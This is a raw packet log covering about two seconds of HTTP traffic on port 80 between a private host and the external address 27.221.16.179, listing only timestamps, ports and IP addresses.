Aug 5, 2024 11:59:35.032974005 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033004999 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.033063889 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033118963 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.033150911 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033179045 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033211946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033246040 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.033277988 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033309937 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033334017 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.033364058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033396006 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033416986 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.033448935 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033498049 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.033655882 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033771992 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033806086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033828974 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.033859968 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033891916 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033915997 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.033946991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.033981085 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.034013033 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.034451008 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.034513950 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.034528971 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.034559965 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.034594059 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.034612894 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.034646034 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.034701109 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.359033108 CEST	80	49757	113.219.142.35	192.168.2.5
Aug 5, 2024 11:59:35.364969015 CEST	49757	80	192.168.2.5	113.219.142.35
Aug 5, 2024 11:59:35.384962082 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.384979963 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.384996891 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385055065 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.385330915 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385363102 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385390997 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.385399103 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385415077 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385447025 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.385466099 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385481119 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385497093 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385519981 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.385529995 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385540009 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.385601044 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385626078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385644913 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385667086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385682106 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385704041 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385711908 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.385726929 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385742903 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.385767937 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.385795116 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.386462927 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.386488914 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.386506081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.386514902 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.386529922 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.386554003 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.386579990 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.386594057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.386635065 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.426309109 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.693872929 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.693921089 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.693936110 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.693954945 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.693994999 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694020987 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694050074 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694063902 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694078922 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694093943 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694130898 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694142103 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694155931 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694171906 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694183111 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694195986 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694207907 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694253922 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694303036 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694443941 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694459915 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694499016 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694565058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694581032 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694595098 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694612026 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694622040 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694643974 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.694807053 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694823027 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.694863081 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.695133924 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.695184946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.695192099 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.695204973 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.695219994 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.695249081 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.695271015 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.695296049 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.695312023 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.695322990 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.695336103 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.695354939 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.738857985 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.990575075 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990600109 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990626097 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990642071 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990669012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990685940 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.990719080 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990725994 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.990758896 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.990863085 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990958929 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990983963 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.990998983 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991010904 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.991023064 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991044998 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.991058111 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991115093 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.991533041 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991547108 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991561890 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991576910 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991590977 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991601944 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.991615057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991625071 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.991641998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991672039 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.991683006 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.991738081 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.992255926 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992269993 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992285013 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992307901 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992324114 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.992362022 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.992767096 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992782116 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992794991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992841959 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.992852926 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992867947 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992889881 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992903948 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.992919922 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992938042 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992948055 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.992960930 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.992986917 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.993614912 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.993660927 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.993670940 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.993688107 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.993746996 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343312025 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343358040 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343374014 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343388081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343420029 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343435049 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343457937 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343472958 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343487024 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343502998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343518019 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343534946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343597889 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343597889 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343597889 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343676090 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343708038 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343722105 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343735933 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343766928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343774080 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343790054 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343815088 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343828917 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343843937 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343858004 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343879938 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343890905 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343902111 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343914986 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343929052 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343944073 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.343966961 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.343991041 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.344672918 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344686985 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344702005 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344728947 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.344738960 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344753027 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344768047 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344783068 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.344795942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344808102 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.344820976 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344835043 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344850063 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344865084 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344876051 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.344891071 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.344902039 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.344933987 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.345849991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.345902920 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.345937967 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.345952988 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.345974922 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.346035957 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.434072018 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.488847971 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.690829992 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.690884113 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.690920115 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.690943956 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.690953016 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691003084 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691005945 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691041946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691077948 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691088915 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691107988 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691158056 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691310883 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691344976 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691392899 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691395998 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691426039 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691473007 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691477060 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691509962 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691541910 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691557884 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691576004 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691608906 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691622972 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691641092 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691687107 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691692114 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691859007 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691890955 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691941023 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691955090 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.691972971 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.691998959 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692006111 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692054987 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692054987 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692090034 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692137003 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692137957 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692171097 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692202091 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692219019 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692235947 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692267895 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692280054 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692302942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692349911 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692358971 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692390919 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692444086 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692679882 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692732096 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692780018 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692785978 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692831039 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692879915 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692882061 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692914009 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692946911 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.692965031 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.692981005 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693015099 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693031073 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.693048000 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693080902 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693094969 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.693243980 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693294048 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.693295002 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693329096 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693361044 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693377018 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.693396091 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.693442106 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.991703987 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.991771936 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.991810083 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.991844893 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.991861105 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.991879940 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.991898060 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.991950989 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992002010 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.992038965 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992089987 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992124081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992153883 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.992156982 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992192984 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992213964 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.992225885 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992259979 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992283106 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.992532969 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992585897 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992592096 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.992619991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992652893 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992676020 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:36.992708921 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:36.992742062 CEST	80	49762	27.221.16.179	192.168.2.5
